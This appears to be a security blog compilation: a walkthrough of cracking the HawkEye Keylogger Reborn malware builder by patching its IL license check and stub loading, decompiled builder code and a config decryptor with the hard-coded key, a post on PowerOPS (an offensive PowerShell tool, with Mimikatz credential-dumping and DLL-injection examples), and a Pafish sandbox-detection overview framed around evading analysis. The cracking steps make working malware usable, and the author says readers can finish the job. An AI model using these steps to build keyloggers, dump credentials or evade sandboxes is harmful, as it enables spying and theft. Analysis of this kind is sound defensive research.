eax=0000000c ebx=00000000 ecx=0000002c edx=00000005 esi=15cb899f edi=0000002c
eip=0045cd2b esp=0034e478 ebp=0034e4c0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
0045cd2b 8b0407          mov     eax,dword ptr [edi+eax] ds:002b:00000038=????????
0:000> g
(9a8.c94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000000c ebx=00000000 ecx=00000008 edx=00000005 esi=15cb899f edi=00000008
eip=0045cd2b esp=0034e478 ebp=0034e4c0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
0045cd2b 8b0407          mov     eax,dword ptr [edi+eax] ds:002b:00000014=????????
0:000> g
(9a8.c94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000000c ebx=00000000 ecx=00000008 edx=00000005 esi=15cb899f edi=00000008
eip=0045cd2b esp=0034e478 ebp=0034e4c0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
0045cd2b 8b0407          mov     eax,dword ptr [edi+eax] ds:002b:00000014=????????
0:000> g
(9a8.c94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000000c ebx=00000000 ecx=0000000c edx=00000005 esi=15cb899f edi=0000000c
eip=0045cd2b esp=0034e478 ebp=0034e4c0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
0045cd2b 8b0407          mov     eax,dword ptr [edi+eax] ds:002b:00000018=????????
0:000> g
ModLoad: 70ec0000 70ed3000   C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
Breakpoint 11 hit
eax=00000000 ebx=021d447c ecx=0fbc1030 edx=003e0400 esi=0fbc1030 edi=021c3f8c
eip=72647fac esp=0034ee2c ebp=0034ee34 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mscorlib_ni+0xa37fac:
72647fac e883c5fdff      call    mscorlib_ni+0xa14534 (72624534)
0:000> dd ecx
0fbc1030  72052518 003e0400 00905a4d 00000003
0fbc1040  00000004 0000ffff 000000b8 00000000
0fbc1050  00000040 00000000 00000000 00000000
0fbc1060  00000000 00000000 00000000 00000000
0fbc1070  00000000 00000080 0eba1f0e cd09b400
0fbc1080  4c01b821 685421cd 70207369 72676f72
0fbc1090  63206d61 6f6e6e61 65622074 6e757220
0fbc10a0  206e6920 20534f44 65646f6d 0a0d0d2e
0:000> .writemem f:\sample.decrypted.exe @ecx+8 L?poi(@ecx+4)
Writing 3e0400 bytes............................

Cracking HawkEye Keylogger Reborn

So I need to bypass this login prompt which I guess it validates the license. Which options do I have? I can try to export the code and build it on Visual Studio…

Well, I tried… 738 errors! Good luck with that…

The only option is to patch the binary. Even though I’ll be dealing with IL code and not assembly code… it looks more fun than fix 738 build errors. Luckily there’s a really nice plugin for ILSpy and Reflector called Reflexil that allows you to binary patch the IL code “easily”.

After poking around the code for a while I’ve found an interesting method inside the class ‘License’ called ‘Initialize()’. It seems I’ll need to modify it.

There are two ways you can modify the code with Reflexil. An easy one and a hard one. The easy one allows you to modify directly the code in C# (or Visual Basic). The hard one allows you to modify directly the IL opcodes.

Of course I went for the easy one! But that didn’t work quite well…

It looks I’ll have to learn some IL code. I have tried to build some really small PoCs on Visual Studio to figure out the IL opcodes for simple things like:

1
return true;

Which is basically:

1
2
ldc.i4.1
ret

However Reflexil makes it really easy, after poking around the code for a little while it looked like I only needed to delete instructions and not actually write any IL code.

So I deleted all the IL instructions from the methods ‘Initialize()’ and ‘Initialize(string)’ and saved the new file.

I’ve run it and… voila. Cracked?

Well… kind of. Because, if you try to use the ‘builder’… it does’t work.

The newest version of ‘HawkEye Keylogger’ has one big difference to the older ones that makes it a bit harder to crack. While the other cracked versions of ‘HawkEye Keylogger’ that I could find on-line (I mean the ones that work, because some don’t…) have the actual keylogger embedded as a Resource. However this ‘Reborn’ version doesn’t have the keylogger binary embedded as a Resource any more. Instead, during runtime the keylogger executable is downloaded from ‘http://seal.nimoru.com/Base/getFile.php’. The author’s intention is clearly avoid cracking. Look at the following ‘builder’ code under the ‘Menu’ class.

As we can see the download of the file depends on code from the ‘Net Seal’ authentication mechanism that we bypassed since we don’t have an account. Anyway we can see what’s going on here by looking at the ‘Cloud’ method.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public byte[] Cloud(string Url)
{
    byte[] result;
    try
    {
        result = this.Decompress(Convert.FromBase64String(Url));
        return result;
    }
    catch (Exception expr_13)
    {
        ProjectData.SetProjectError(expr_13);
        ProjectData.ClearProjectError();
    }
    result = new byte[0];
    return result;
}

I started looking around the code again to see what I could do. I though the easiest way was using a local sample of the keylogger and read its bytes directly into ‘MyProject.Forms.Keylogger.stubBytes’. To do this I need to find a proper place and write some IL code. It seems I can’t go away without writing IL code. Fun.

I used the same approach as before, launched Visual Studio and wrote more or less what I needed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
using System;
using System.IO;

namespace StubTest
{
    class Program
    {
        static void Main(string[] args)
        {
            string path = @"f:\stub.exe";
            byte[] byteArray = File.ReadAllBytes(path);
        }
    }
}

Then I loaded it on ILSpy and looked at the IL instructions.

Then I started looking at the IL instructions of ‘GetStub’ method from the ‘Menu’ class…

I’ve found what it looked like a possible place for my IL code at ‘Menu_Load’ method on the ‘Menu’ class and rewrote it as shown bellow:

Saved the new file and gave it a try…

Yes, now it works. You need to place the ‘keylogger’ sample on ‘C:\pwned.exe’, you can change it but I’ll leave that as an exercise for you. Note that you also need ‘Mono.Cecil.dll’ installed on your system or simply on the same directory as our final cracked version or the program will crash with an ‘System.IO.FileNotFoundException’. If you use Procmon you can easily identify what’s missing…

You already have ‘Mono.Cecil.dll’, look at the dumps from ‘MegaDumper’ so… Mission Accomplished!

I’m not sharing the cracked version. However, you can visit the links I mention above and with all the information here you should be able to get the ‘job done’ or even do a better job.

HawkEye Builder Features and Code

The builder presents the user with multiple options. We can contact support via email as shown bellow.

Here’s the code from sending an email and “ask a favour”!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
private void AskFavour()
        {
            this.Invoke(new VB$AnonymousDelegate_0(delegate
            {
                try
                {
                    this.btnSend.Enabled = false;
                    this.btnSend.Text = "Wait...";
                    this.sBarLabel.Text = "We are submitting your report, please wait...";
                    this.communication = LicenseGlobal.Seal.GetVariable("communication").Split(new char[]
                    {
                        '|'
                    });
                    MailMessage mailMessage = new MailMessage();
                    mailMessage.From = new MailAddress(this.communication[0]);
                    bool flag = Operators.CompareString(this.cboSubject.Text, "Technical Support", false) == 0;
                    if (flag)
                    {
                        string addresses = string.Concat(new string[]
                        {
                            this.communication[0],
                            ",",
                            this.communication[4],
                            ",",
                            this.communication[5],
                            ",",
                            this.txtEmail.Text
                        });
                        mailMessage.To.Add(addresses);
                    }
                    else
                    {
                        flag = (Operators.CompareString(this.cboSubject.Text, "Sales Support", false) == 0);
                        if (flag)
                        {
                            string addresses2 = this.communication[2] + "," + this.txtEmail.Text;
                            mailMessage.To.Add(addresses2);
                        }
                        else
                        {
                            flag = (Operators.CompareString(this.cboSubject.Text, "Others", false) == 0);
                            if (flag)
                            {
                                string addresses3 = this.communication[1] + "," + this.txtEmail.Text;
                                mailMessage.To.Add(addresses3);
                            }
                        }
                    }
                    mailMessage.Subject = this.cboSubject.Text;
                    mailMessage.Subject = this.cboSubject.Text;
                    mailMessage.Body = string.Concat(new string[]
                    {
                        "Username: ",
                        LicenseGlobal.Seal.Username.ToString(),
                        "\r\nProduct: HawkEye Keylogger - Reborn\r\nLicense Type: ",
                        LicenseGlobal.Seal.LicenseType.ToString(),
                        "\r\nCustomer's Email: ",
                        this.txtEmail.Text,
                        "\r\n\r\n\r\n\r\nSubject: \r\n",
                        this.cboSubject.Text,
                        "\r\n\r\nBody: \r\n",
                        this.txtBody.Text
                    });
                    new SmtpClient("mail.hawkspy.net")
                    {
                        Port = 25,
                        DeliveryMethod = SmtpDeliveryMethod.Network,
                        UseDefaultCredentials = false,
                        Credentials = new NetworkCredential(this.communication[0], this.communication[6] + "\\${"),
                        EnableSsl = false
                    }.Send(mailMessage);
                    CustomMsgBox.Show("Success! One of our Team Member will contact you shortly.");
                    this.btnSend.Enabled = true;
                    this.btnSend.Text = "Send";
                    this.sBarLabel.Text = "Idle...";
                }
                catch (Exception expr_305)
                {
                    ProjectData.SetProjectError(expr_305);
                    Exception ex = expr_305;
                    CustomMsgBox.Show(ex.Message.ToString());
                    this.btnSend.Enabled = true;
                    this.btnSend.Text = "Send";
                    this.sBarLabel.Text = "Idle...";
                    ProjectData.ClearProjectError();
                }
            }

You can check the status of your subscription too.

1
2
3
4
5
6
7
8
9
10
11
12
13
        public void Account()
        {
            this.txtBoxGlobalMessage.Text = LicenseGlobal.Seal.GlobalMessage;
            this.Username.Text = "Username: " + LicenseGlobal.Seal.Username;
            this.Label1.Text = "Update Available: " + LicenseGlobal.Seal.UpdateAvailable.ToString();
            this.Expiration.Text = "Expiration Date: " + LicenseGlobal.Seal.ExpirationDate.ToString();
            this.Time.Text = "Time Remaining: " + LicenseGlobal.Seal.TimeRemaining.ToString();
            this.License.Text = "License Type: " + LicenseGlobal.Seal.LicenseType.ToString();
            this.Unlimited.Text = "Unlimited Time: " + LicenseGlobal.Seal.UnlimitedTime.ToString();
            this.Label2.Text = "Your IP: " + LicenseGlobal.Seal.IPAddress.ToString();
            this.Label3.Text = "Product Version: " + LicenseGlobal.Seal.ProductVersion.ToString();
            this.GUID.Text = "GUID: " + LicenseGlobal.Seal.GUID;
        }

There’s even a news feed. Where I think the author publishes some… news!?

The vaccine to clean the infected machine as we saw earlier.

The lovely and caring Bug Report feature.

As you can see code reuse is not mandatory…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
public void SendBugReport()
        {
            try
            {
                this.Invoke(new MethodInvoker(delegate
                {
                    this.btnReportBug.Enabled = false;
                }));
                this.Invoke(new MethodInvoker(delegate
                {
                    this.btnReportBug.Text = "Wait...";
                }));
                this.Invoke(new MethodInvoker(delegate
                {
                    this.sBarLabel.Text = "We are submitting your report, please wait...";
                }));
                this.communication = LicenseGlobal.Seal.GetVariable("communication").Split(new char[]
                {
                    '|'
                });
                MailMessage mailMessage = new MailMessage();
                mailMessage.From = new MailAddress(this.communication[0]);
                string addresses = this.communication[1] + "," + this.txtReportEmail.Text;
                mailMessage.To.Add(addresses);
                mailMessage.Subject = "HawkEye Keylogger - Reborn - Report A Bug";
                mailMessage.Body = string.Concat(new string[]
                {
                    "Username: ",
                    LicenseGlobal.Seal.Username.ToString(),
                    "\r\nProduct: HawkEye Keylogger - Reborn\r\nLicense Type: ",
                    LicenseGlobal.Seal.LicenseType.ToString(),
                    "\r\nCustomer's Email: ",
                    this.txtReportEmail.Text,
                    "\r\n\r\n\r\n\r\nSubject: \r\nHawkEye Keylogger - Reborn - Report A Bug\r\n\r\nBody: \r\n",
                    this.txtReportBody.Text
                });
                new SmtpClient("mail.hawkspy.net")
                {
                    Port = 25,
                    DeliveryMethod = SmtpDeliveryMethod.Network,
                    UseDefaultCredentials = false,
                    Credentials = new NetworkCredential(this.communication[0], this.communication[6] + "\\${"),
                    EnableSsl = false
                }.Send(mailMessage);
                this.Invoke(new MethodInvoker(delegate
                {
                    CustomMsgBox.Show("Success! Your report will be review shortly.");
                }));
                this.Invoke(new MethodInvoker(delegate
                {
                    this.btnReportBug.Enabled = true;
                }));
                this.Invoke(new MethodInvoker(delegate
                {
                    this.btnReportBug.Text = "Report A Bug";
                }));
                this.Invoke(new MethodInvoker(delegate
                {
                    this.sBarLabel.Text = "Idle...";
                }));
            }
            catch (Exception expr_1EF)
            {
                ProjectData.SetProjectError(expr_1EF);
                Exception ex = expr_1EF;
                CustomMsgBox.Show(ex.Message.ToString());
                this.Invoke(new MethodInvoker(delegate
                {
                    this.btnReportBug.Enabled = true;
                }));
                this.Invoke(new MethodInvoker(delegate
                {
                    this.btnReportBug.Text = "Report A Bug";
                }));
                this.Invoke(new MethodInvoker(delegate
                {
                    this.sBarLabel.Text = "Idle...";
                }));
                ProjectData.ClearProjectError();
            }
        }

The must read option simply opens the browser and redirects the user to the ‘HawkEye’ home page.

The tutorial displays the only video the author has for ‘HawkEye Keylogger Reborn’. That you can also see on YouTube.

The Bazaar has more software for interested buyers. More keyloggers in case one is not enough, crypters, and apparently a RAT and an MS Word exploit are in the works.

Lastly and the actual relevant feature… the keylogger builder.

The code for the builder is quite big and basically replaces some assemblies with the configuration the user chooses.

Nothing really new.

Keylogger

Most of this ‘HawkSpy Keylogger Reborn’ features and IOCs have already been discussed on the technical articles I point on the ‘References’ section, so I’ll not waste too much time going over them again.

However, one interesting thing to notice is that even after having his keylogger exposed and cracked on the Internet the author is too lazy to change simple things as the secret key and salt used for configuration settings encryption. Well, to be fair it will not make any difference anyway.

As you can see the secret is still the same as in previous versions.

And the salt too.

With all this information is trivial to decrypt the keylogger settings.

You can use the following small decryption method I wrote in C# to get the configuration.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
using System;
using System.Text;
using System.IO;
using System.Security.Cryptography;

namespace DecryptHawkEye
{
    class Program
    {
        public static void HawkeyeDecrypt(byte[] cipherText)
        {
            string secret = "HawkSpySoftwares";
            string salt = "099u787978786";

            Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(secret, Encoding.Unicode.GetBytes(salt));
            RijndaelManaged rijndaelManaged = new RijndaelManaged();
            rijndaelManaged.KeySize = 256;
            rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
            rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
            rijndaelManaged.Padding = PaddingMode.PKCS7;
            ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor();
            MemoryStream msDecrypt = new MemoryStream(cipherText);
            CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read);
            StreamReader srDecrypt = new StreamReader(csDecrypt);
            Console.WriteLine(srDecrypt.ReadToEnd());
        }

        static void Main(string[] args)
        {
            HawkeyeDecrypt(Convert.FromBase64String("j1MtHYi4MKi7oX7TwhgXiO8F5j27K6p8UgYvmzOEoaEZv2IEbJ9dPQyO4toq4FMA"));
        }
    }
}

Since getting access to the configuration of the samples being used in the wild is pretty easy I would avoid using it for ‘serious’ stealthy operations.

Note that ‘bob@mail.lab.org’ is just a local e-mail of my internal lab mail server (mail.lab.org).

For more details and IOCs I recommend you to read the Trustwave, Malwaredigger and blog.idiom.ca, all listed in the ‘References’ section. There’s no point describing the same thing that have already been described since the only thing that as really changed in this ‘Reborn’ version is the fact that the actual keylogger is now being downloaded from the Internet in real time and it is not embedded as a ‘Resource’ any more.

People behind ‘HawkEye Keylogger’ and other variants

Apparently many eventually “talented” software developers think they can get away with writing, selling and supporting malicious software. The true is it seems that some of the people behind this keylogger have been around for quite some time. Before ‘HawkSpy.net’ the domain hawkeyeproducts.com was used and it is not hard to track their operations back to 2013/2014 but I’ll leave that for you as an exercise if you feel like it.

One thing I later found is that this ‘Net Seal’ software is/was also being distributed on hackforums as you can see here and here. You might want to look at it if you have some free time.

References

Managed Code Reverse Engineering

HawkEye Keylogger technical analysis

News

PowerOPS: PowerShell for Offensive Operations

Update: PowerOPS got some public attention. My company asked me to write a blog post about it, which has been published here. It is pretty much what I have written here before and on the github project’s page, so nothing new really. In the meantime I changed only a few bits and added the Amsi Bypass technique. So now it should work without any problems on systems with PowerShell v5.

Lately I’ve been involved in multiple restrictive environment breakouts where powershell.exe was blocked and where other “security” mitigations to restrict execution of scripts where in place. Even though the last never was a problem the first one “was”.

Since I’ve been using, a lot, some PowerShell scripts finding powershell.exe blocked is annoying. Besides some AVs are starting to incorporate signatures to detect some of those well known PowerShell scripts. The bypass is trivial but I find it annoying anyway. Some time ago a friend showed me an interesting tool, p0wnedShell. I tried it, I loved it, but I wanted more. Specially more flexibility and I didn’t really need all the other features p0wnedShell incorporates. At least not for what I had in mind. I wanted a tool which could include the usual PowerShell scripts I use but with a lot more flexibility. I wanted to use the scripts with the same freedom level as if I was running powershell.exe.

And that’s how PowerOPS was born. Sorry about the lame name but I couldn’t come up with another one.

What is PowerOPS

PowerOPS is an application written in C# that does not rely on powershell.exe but runs PowerShell commands and functions within a powershell runspace environment (.NET). It intends to include multiple offensive PowerShell modules to make the process of Post Exploitation easier.

It tries to follow the KISS principle, being as simple as possible. The main goal is to make it easy to use PowerShell offensively and help to evade antivirus and other mitigations solutions. It does this by:

    • Doesn't rely on powershell.exe, it calls PowerShell directly through the .NET framework, which might help bypassing security controls like GPO, SRP and App Locker.
    • The payloads are executed from memory and never touch disk, evading most antivirus engines.

What’s inside the runspace

The following PowerShell tools/functions are included:

Additionally you can run any valid PowerShell command.

Powershell functions within the Runspace are loaded in memory from Base64 Encoded Strings.

Where to Get it

Source code is available at GitHub: https://github.com/fdiskyou/PowerOPS

How to Compile it

To compile PowerOPS you need to import this project within Microsoft Visual Studio or if you don’t have access to a Visual Studio installation, you can compile it as follows:

To Compile as x86 binary:

1
2
3
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)

csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x86.exe /platform:x86 "C:\path\to\PowerOPS\PowerOPS\*.cs"

To Compile as x64 binary:

1
2
3
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)

csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x64.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS\*.cs"

PowerOPS uses the System.Management.Automation namespace, so make sure you have the System.Management.Automation.dll within your source path when compiling outside of Visual Studio.

How to use it

Just run the binary and type ‘show’ to list available modules.

PowerUp and PowerView are loaded as modules, so Get-Command -module will show you all available functions.

Yes, all your PowerShell fu applies. PowerOPS is basically a PowerShell shell with some modules/functions pre-loaded. So Get-Help is your friend and will help to find how to use the modules.

Let’s say you want to see examples on how to use Invoke-Mimikatz.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
PS > Get-Help Invoke-Mimikatz -examples

NAME
    Invoke-Mimikatz

SYNOPSIS
    This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to
    reflectively load Mimikatz completely in memory. This allows you to do
    things such as
    dump credentials without ever writing the mimikatz binary to disk.
    The script has a ComputerName parameter which allows it to be executed
    against multiple computers.

    This script should be able to dump credentials from any version of Windows
    through Windows 8.1 that has PowerShell v2 or higher installed.

    Function: Invoke-Mimikatz
    Author: Joe Bialek, Twitter: @JosephBialek
    Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog:
    http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter
    @gentilkiwi
    License:  http://creativecommons.org/licenses/by/3.0/fr/
    Required Dependencies: Mimikatz (included)
    Optional Dependencies: None
    Version: 1.5
    ReflectivePEInjection version: 1.1
    Mimikatz version: 2.0 alpha (2/16/2015)

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Execute mimikatz on the local computer to dump certificates.


    Invoke-Mimikatz -DumpCerts


    -------------------------- EXAMPLE 2 --------------------------

    C:\PS>Execute mimikatz on two remote computers to dump credentials.


    Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")


    -------------------------- EXAMPLE 3 --------------------------

    C:\PS>Execute mimikatz on a remote computer with the custom command
    "privilege::debug exit" which simply requests debug privilege and exits


    Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"


PS >

Or simply look at the whole help available for Invoke-DllInjection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
PS > Get-Help Invoke-DllInjection -full

NAME
    Invoke-DllInjection

SYNOPSIS
    Injects a Dll into the process ID of your choosing.

    PowerSploit Function: Invoke-DllInjection
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

SYNTAX
    Invoke-DllInjection [-ProcessID] <Int32> [-Dll] <String>
    [<CommonParameters>]


DESCRIPTION
    Invoke-DllInjection injects a Dll into an arbitrary process.


PARAMETERS
    -ProcessID <Int32>
        Process ID of the process you want to inject a Dll into.

        Required?                    true
        Position?                    1
        Default value                0
        Accept pipeline input?       false
        Accept wildcard characters?  false

    -Dll <String>
        Name of the dll to inject. This can be an absolute or relative path.

        Required?                    true
        Position?                    2
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?  false

    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (http://go.microsoft.com/fwlink/?LinkID=113216).

INPUTS

OUTPUTS

NOTES
        Use the '-Verbose' option to print detailed information.

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Invoke-DllInjection -ProcessID 4274 -Dll evil.dll


    Description
    -----------
    Inject 'evil.dll' into process ID 4274.

RELATED LINKS
    http://www.exploit-monday.com

PS >

You can play around with the output…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS > get-productkey

OSDescription        Computername        OSVersion           ProductKey
-------------        ------------        ---------           ----------
Microsoft Windows... VISUALSTUDIO        6.1.7601            ABCDE-54321-UVXY...



PS > get-productkey | format-list


OSDescription : Microsoft Windows 7 Professional N
Computername  : VISUALSTUDIO
OSVersion     : 6.1.7601
ProductKey    : ABCDE-54321-UVXYZ-12345-LMNOP

Save the output of your commands the way you want…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PS > invoke-allchecks | Out-File -Encoding ascii powerup.output.txt

PS > type powerup.output.txt

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
[+] User is in a local group that grants administrative privileges!
[+] Run a BypassUAC attack to elevate privileges to admin.

[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...

[*] Checking service permissions...

[*] Checking %PATH% for potentially hijackable .dll locations...

[*] Checking for AlwaysInstallElevated registry key...

[*] Checking for Autologon credentials in registry...

[*] Checking for vulnerable registry autoruns and configs...

[*] Checking for vulnerable schtask files/configs...

[*] Checking for unattended install files...

[*] Checking for encrypted web.config strings...

[*] Checking for encrypted application pool and virtual directory passwords...

PS >

Do some math…

1
2
3
4
5
6
7
8
PS > $a=1

PS > $b=4

PS > $c=$a+$b

PS > echo $c
5

Browse the filesystem…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS > cd c:\

PS > ls

    Directory: C:\

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----        14/02/2016     17:21            bin
d----        17/02/2016     15:02            Dev-Cpp
d----        14/07/2009     04:20            PerfLogs
d-r--        26/04/2016     20:00            Program Files
d-r--        26/04/2016     20:00            Program Files (x86)
d----        19/02/2016     21:06            Python27
d-r--        26/11/2015     17:20            Users
d----        12/05/2016     15:53            Windows
-a---        19/03/2010     23:55    2073703 VS_EXPBSLN_x64_enu.CAB
-a---        19/03/2010     23:58     551424 VS_EXPBSLN_x64_enu.MSI

PS > pwd

Path
----
C:\

PS >

And so on…

Credits

PowerOPS was inspired by Cn33liz/p0wnedShell, and basically consists of work from Nikhil Mittal of Nishang, mattifiestation of PowerSploit and sixdub, engima0x3 and harmj0y of Empire.

Sandbox Detection: Pafish Overview

After an internal Pafish source code analysis my company asked me to write a blog post about it. You can find the original article published here: https://labs.portcullis.co.uk/blog/sandbox-detection-pafish-overview/

Bellow is a just a local mirror for future reference.

Sandbox detection: Pafish overview

Here at Portcullis, we are frequently involved in “red team” exercises, which means we subject an organisation’s information security systems to rigorous testing and analysis. The opposite of a red team is a “blue team”. A blue team attempts to identify and stop the red team from compromising systems. One of the techniques used when red teaming is to write malicious code to test the security systems of our clients. One of the issues we face resides in the fact that we need to bypass sandbox systems that analyse our files in real-time to identify if the potentially malicious file should be blocked and Indicators Of Compromise (IOCs) generated or if the files are benign and safe. At the same time, blue teams that catch our files will try to reverse engineer them in order to understand how we may be compromising systems. Even though the last point is not really relevant for us (ultimately we’re not the bad guys), the first point is.

In order to be able to mitigate this issue, our code needs to be able to detect if it is being run inside a debugger, a Virtual Machine (VM) or a sandbox. There are some well known open source projects that are able to achieve this that are often used by malware writers. One of the most well known is called Pafish, Paranoid Fish, the code for which can be found in the Pafish GitHub repo. So I decided to take a look at the code and go through all the tricks Pafish has in order to assess if they should be incorporated in to our exercises. If our code is running inside a debugger, VM or sandbox it should deviate from it’s original path and do something legitimate or terminate immediately. If it isn’t running in any of these environments it should run it’s malicious code and infect the system.

Pafish is written in C and can be built with MinGW (gcc + make) as it says on its official GitHub web site.

To build pafish you will basically need to install mingw-w64 and make. After unziping the Pafish source code, we can see the project source has different source code files, each one used for different detection purposes.

    • Detect a debugger: debuggers.c
    • Detect a sandbox: gensandbox.c
    • Detect hooked functions: hooks.c
    • Detect VirtualBox: vbox.c
    • Detect VMWare: vmware.c
    • Detect Qemu: qemu.c
    • Detect Bochs: bochs.c
    • Detect Cuckoo: cuckoo.c
    • Detect Sandboxie: sandboxie.c
    • Detect Wine: wine.c

In the next sections I’ll take a quick look at each one of these files. As you can see some sandboxes are missing, like FireEye, AMP Threat Grid from Cisco, Maltracker from AnubisNetworks, among others. By looking at these techniques we might find insights on how to bypass them if we find one in use at our clients during our engagements.

debuggers.c

By opening debuggers.c, we can see the first method implemented by Pafish. The IsDebuggerPresent() function is a Win32 API function that can be used to determine whether the calling process is being debugged by a debugger.

Still on debuggers.c we can see another function called debug_outputdebugstring(). This uses another function from the Win32 API, OutputDebugString(). According to MSDN, this function “sends a string to the debugger for display”. This is exactly what this code does. If the application is not running under a debugger the string will be sent to system’s debugger to be displayed with the DbgPrint() function from the Windows Driver Kit (WDK). If the application is not running inside a debugger and there is no system debugger then the OutputDebugString() does nothing. If the function doesn’t return an error the process is not being debugged. Otherwise it concludes it is running inside a debugger.

gensandbox.c

Another interesting file for us is gensandbox.c. This file contains 12 functions that it uses to detect a sandbox. The first one, gensandbox_mouse_act() uses GetCursorPos() to determine the position of the mouse cursor and whether it is actively being used. According to MSDN this function “retrieves the position of the mouse cursor, in screen coordinates”. Now if you look at the function code that does the actual detection, you can see that the function first calls the GetCursorPos() function in order to receive cursor co-ordinates and saves them into the position1 variable. After that it sleeps for 2000 milliseconds (i.e. 2 seconds), and then calls the same function again, this time saving the coordinates into the position2 variable. Afterwards, the two samples of the x and y coordinates of the mouse cursor are compared to one other. This determines whether the mouse cursor has changed between the two GetCursorPos() function calls. If the position of the mouse cursor has not changed then there was no mouse activity during the sleep function. Under such circumstances, the code will conclude that it is being run within a sandbox.

Another interesting function in this file is gensandbox_username(). It uses the GetUserName function that retrieves the name of the user associated with the current thread. After that all the lower case letters are converted to upper case letters and the name is compared with the following strings:

    • SANDBOX
    • VIRUS
    • MALWARE

The strstr() function is used to detect any occurrence of the presented strings in the username. If one of the strings above is found, it means that the program is being run inside a sandbox. Otherwise it returns FALSE. This method is highly questionable but gives us some insights on how one might either bypass it (if one was part of the “red team”) or create a better sandbox (if playing for the “blue team”).

The next function, called gensandbox_path(), is using GetModuleFileName(). According to MSDN this function “retrieves the fully qualified path for the file that contains the specified module. The module must have been loaded by the current process”.

Here, the strstr() function is used to check whether the retrieved path contains any of the strings:

    • \\SAMPLE
    • \\VIRUS
    • SANDBOX

If that’s the case it concludes that it is running within a sandbox. Again, we can see multiple ways to improve this code and also get some ideas on how to apply this thinking to detect other environments even though, as you can see, it is a pretty basic technique.

gensandbox_common_names(), takes a similar approach but looks for the following strings instead:

    • sample.exe
    • malware.exe

Another interesting function is gensandbox_drive_size(). This checks if the first physical drive is larger than 60GB by using the CreateFile() and DeviceIoControl() functions. As we can read on MSDN, the CreateFile() function “creates or opens a file or I/O device. The most commonly used I/O devices are as follows: file, file stream, directory, physical disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe. The function returns a handle that can be used to access the file or device for various types of I/O depending on the file or device and the flags and attributes specified”. Using a handle retrieved using the CreateFile() function call, the DeviceIoControl() function is used to send a control code directly to a specified device driver, causing the corresponding device to perform the IOCTL_DISK_GET_LENGTH_INFO operation.

Once again, this is tricky but it is almost always true these days. People don’t like to allocate that much disk space for their testing VMs.

